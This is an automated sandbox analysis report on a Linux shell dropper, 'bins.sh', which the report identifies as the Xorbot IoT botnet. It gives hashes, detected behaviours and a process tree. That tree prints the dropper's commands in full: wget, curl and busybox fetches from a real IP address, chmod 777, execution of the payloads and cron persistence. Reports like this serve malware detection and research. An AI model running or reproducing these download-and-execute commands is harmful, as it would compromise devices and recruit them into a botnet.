Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    01-12-2024 11:01

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    e6a2e72aaaf90ebe7d82938e172077aa

  • SHA1

    586d13e40c79839b26ced27f2eec1b6f3ed50138

  • SHA256

    0cf31871ca890b78df73b7cdc4d16804724efb6ecc9479a594027f8839888669

  • SHA512

    2de6dfca2072a2e192f68807acd079c840240b13a7c6b06f801407984d23224e9a5f7c0f1feffb24de8bf0f66760e268a41084b02e628f111339b01216c8e479

  • SSDEEP

    96:ywbeFBJFuwuXZgOFFh+2a92HfNKdHT4XJWOfhY4FBJFuwF9SpHfMWKE+2cwGB:jb2wpgSFh+2a92HfNv5p5MHfLz+2g

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1701) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:697
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:704
        • /usr/bin/wget
          wget http://216.126.231.240/bins/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
          2⤵
          • Writes file to tmp directory
          PID:706
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
          2⤵
          • Writes file to tmp directory
          PID:720
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
          2⤵
          • Writes file to tmp directory
          PID:728
        • /bin/chmod
          chmod 777 mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
          2⤵
          • File and Directory Permissions Modification
          PID:729
        • /tmp/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
          ./mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
          2⤵
          • Executes dropped EXE
          PID:730
        • /bin/rm
          rm mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb
          2⤵
            PID:732
          • /usr/bin/wget
            wget http://216.126.231.240/bins/ltdNohIm3yTIMvIbh3S240jm6PlhQazPas
            2⤵
            • Writes file to tmp directory
            PID:733
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/ltdNohIm3yTIMvIbh3S240jm6PlhQazPas
            2⤵
            • Writes file to tmp directory
            PID:734
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/ltdNohIm3yTIMvIbh3S240jm6PlhQazPas
            2⤵
            • Writes file to tmp directory
            PID:735
          • /bin/chmod
            chmod 777 ltdNohIm3yTIMvIbh3S240jm6PlhQazPas
            2⤵
            • File and Directory Permissions Modification
            PID:736
          • /tmp/ltdNohIm3yTIMvIbh3S240jm6PlhQazPas
            ./ltdNohIm3yTIMvIbh3S240jm6PlhQazPas
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:737
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:739
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:740
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:741
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:742
                • /bin/rm
                  rm ltdNohIm3yTIMvIbh3S240jm6PlhQazPas
                  2⤵
                    PID:744
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/ZHw5vS1FKdHyH8YJbWSlcUIB5tJYwLMOHd
                    2⤵
                      PID:747
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/ZHw5vS1FKdHyH8YJbWSlcUIB5tJYwLMOHd
                      2⤵
                        PID:828
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/ZHw5vS1FKdHyH8YJbWSlcUIB5tJYwLMOHd
                        2⤵
                        • Writes file to tmp directory
                        PID:829
                      • /bin/chmod
                        chmod 777 ZHw5vS1FKdHyH8YJbWSlcUIB5tJYwLMOHd
                        2⤵
                        • File and Directory Permissions Modification
                        PID:832
                      • /tmp/ZHw5vS1FKdHyH8YJbWSlcUIB5tJYwLMOHd
                        ./ZHw5vS1FKdHyH8YJbWSlcUIB5tJYwLMOHd
                        2⤵
                        • Executes dropped EXE
                        PID:833
                      • /bin/rm
                        rm ZHw5vS1FKdHyH8YJbWSlcUIB5tJYwLMOHd
                        2⤵
                          PID:835
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/CvZcnMhQVcL2YgX0eNtoE9oc8jycFFbKdF
                          2⤵
                            PID:840
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/CvZcnMhQVcL2YgX0eNtoE9oc8jycFFbKdF
                            2⤵
                              PID:843
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/CvZcnMhQVcL2YgX0eNtoE9oc8jycFFbKdF
                              2⤵
                              • Writes file to tmp directory
                              PID:848
                            • /bin/chmod
                              chmod 777 CvZcnMhQVcL2YgX0eNtoE9oc8jycFFbKdF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:858
                            • /tmp/CvZcnMhQVcL2YgX0eNtoE9oc8jycFFbKdF
                              ./CvZcnMhQVcL2YgX0eNtoE9oc8jycFFbKdF
                              2⤵
                              • Executes dropped EXE
                              PID:860
                            • /bin/rm
                              rm CvZcnMhQVcL2YgX0eNtoE9oc8jycFFbKdF
                              2⤵
                                PID:861
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/pNONOYg1dH63EskrYceMdhN134x986R0QL
                                2⤵
                                  PID:862
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/pNONOYg1dH63EskrYceMdhN134x986R0QL
                                  2⤵
                                    PID:865
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/pNONOYg1dH63EskrYceMdhN134x986R0QL
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:866
                                  • /bin/chmod
                                    chmod 777 pNONOYg1dH63EskrYceMdhN134x986R0QL
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:871
                                  • /tmp/pNONOYg1dH63EskrYceMdhN134x986R0QL
                                    ./pNONOYg1dH63EskrYceMdhN134x986R0QL
                                    2⤵
                                    • Executes dropped EXE
                                    PID:876
                                  • /bin/rm
                                    rm pNONOYg1dH63EskrYceMdhN134x986R0QL
                                    2⤵
                                      PID:880
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/vvIZwOAE1vk87hnOYgeR15lODDKoHoek21
                                      2⤵
                                        PID:881
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/vvIZwOAE1vk87hnOYgeR15lODDKoHoek21
                                        2⤵
                                          PID:884
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/vvIZwOAE1vk87hnOYgeR15lODDKoHoek21
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:888
                                        • /bin/chmod
                                          chmod 777 vvIZwOAE1vk87hnOYgeR15lODDKoHoek21
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:895
                                        • /tmp/vvIZwOAE1vk87hnOYgeR15lODDKoHoek21
                                          ./vvIZwOAE1vk87hnOYgeR15lODDKoHoek21
                                          2⤵
                                          • Executes dropped EXE
                                          PID:896
                                        • /bin/rm
                                          rm vvIZwOAE1vk87hnOYgeR15lODDKoHoek21
                                          2⤵
                                            PID:899
                                          • /usr/bin/wget
                                            wget http://216.126.231.240/bins/v8jHkvi3LjElDuFWAK3nCCiIwH0SEOklwZ
                                            2⤵
                                              PID:901
                                            • /usr/bin/curl
                                              curl -O http://216.126.231.240/bins/v8jHkvi3LjElDuFWAK3nCCiIwH0SEOklwZ
                                              2⤵
                                                PID:906
                                              • /bin/busybox
                                                /bin/busybox wget http://216.126.231.240/bins/v8jHkvi3LjElDuFWAK3nCCiIwH0SEOklwZ
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:908
                                              • /bin/chmod
                                                chmod 777 v8jHkvi3LjElDuFWAK3nCCiIwH0SEOklwZ
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:917
                                              • /tmp/v8jHkvi3LjElDuFWAK3nCCiIwH0SEOklwZ
                                                ./v8jHkvi3LjElDuFWAK3nCCiIwH0SEOklwZ
                                                2⤵
                                                • Executes dropped EXE
                                                PID:919
                                              • /bin/rm
                                                rm v8jHkvi3LjElDuFWAK3nCCiIwH0SEOklwZ
                                                2⤵
                                                  PID:922
                                                • /usr/bin/wget
                                                  wget http://216.126.231.240/bins/e9mLOzBibytekz5i8hudDnU6RLUGfL1xqy
                                                  2⤵
                                                    PID:923
                                                  • /usr/bin/curl
                                                    curl -O http://216.126.231.240/bins/e9mLOzBibytekz5i8hudDnU6RLUGfL1xqy
                                                    2⤵
                                                      PID:925

                                                  Network

                                                  MITRE ATT&CK Enterprise v15

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  • /tmp/CvZcnMhQVcL2YgX0eNtoE9oc8jycFFbKdF

                                                    Filesize

                                                    111KB

                                                    MD5

                                                    701e7a55a4f3650f5feee92a9860e5fc

                                                    SHA1

                                                    6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                    SHA256

                                                    ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                    SHA512

                                                    7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                  • /tmp/ZHw5vS1FKdHyH8YJbWSlcUIB5tJYwLMOHd

                                                    Filesize

                                                    127KB

                                                    MD5

                                                    89077b7bd4bcafca7713be43635c4862

                                                    SHA1

                                                    fc02edb8fba29ea8ee99e6157ef8560334530052

                                                    SHA256

                                                    78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                    SHA512

                                                    1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                  • /tmp/ltdNohIm3yTIMvIbh3S240jm6PlhQazPas

                                                    Filesize

                                                    151KB

                                                    MD5

                                                    6c583043d91c55aa470c08c87058e917

                                                    SHA1

                                                    abf65a5b9bba69980278ad09356e53de8bb89439

                                                    SHA256

                                                    2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                    SHA512

                                                    82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                  • /tmp/mfRwP7NwZx8IoDuUs8oVZ3Ji8lNjGz5Gnb

                                                    Filesize

                                                    99KB

                                                    MD5

                                                    9438d9bc392bcf300a5583b6df5bc8f6

                                                    SHA1

                                                    375a6ae34b516f6f3eeea8030c4084f585017efa

                                                    SHA256

                                                    68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                    SHA512

                                                    1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                  • /tmp/pNONOYg1dH63EskrYceMdhN134x986R0QL

                                                    Filesize

                                                    112KB

                                                    MD5

                                                    05d7857dcead18bbd86d2935f591873c

                                                    SHA1

                                                    34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                    SHA256

                                                    2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                    SHA512

                                                    d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                  • /tmp/v8jHkvi3LjElDuFWAK3nCCiIwH0SEOklwZ

                                                    Filesize

                                                    177KB

                                                    MD5

                                                    786d75a158fe731feca3880f436082c0

                                                    SHA1

                                                    79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                    SHA256

                                                    5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                    SHA512

                                                    7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                  • /tmp/vvIZwOAE1vk87hnOYgeR15lODDKoHoek21

                                                    Filesize

                                                    98KB

                                                    MD5

                                                    5141342d0df8699fa32a6b066a0c592e

                                                    SHA1

                                                    8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                    SHA256

                                                    54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                    SHA512

                                                    d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                  • /var/spool/cron/crontabs/tmp.Ad0WVH

                                                    Filesize

                                                    210B

                                                    MD5

                                                    34e507329997c6975dd444496ea3c9ec

                                                    SHA1

                                                    48dfba3d8ca6a5338e34c8f17618870d20ff2559

                                                    SHA256

                                                    2b7c3e3584fe661f87871cf80931ed5fe008be9f4bd1e4cca3672aaef7651d6c

                                                    SHA512

                                                    a10f8667af2e6f904ee22b6eba8bad38ad8ad4b80ca84e1d061aaf1932e1d2bb1fd9dcebbfa0ae645959e1aff36bae6386901e854a9e780ee6a4bc51c6be7887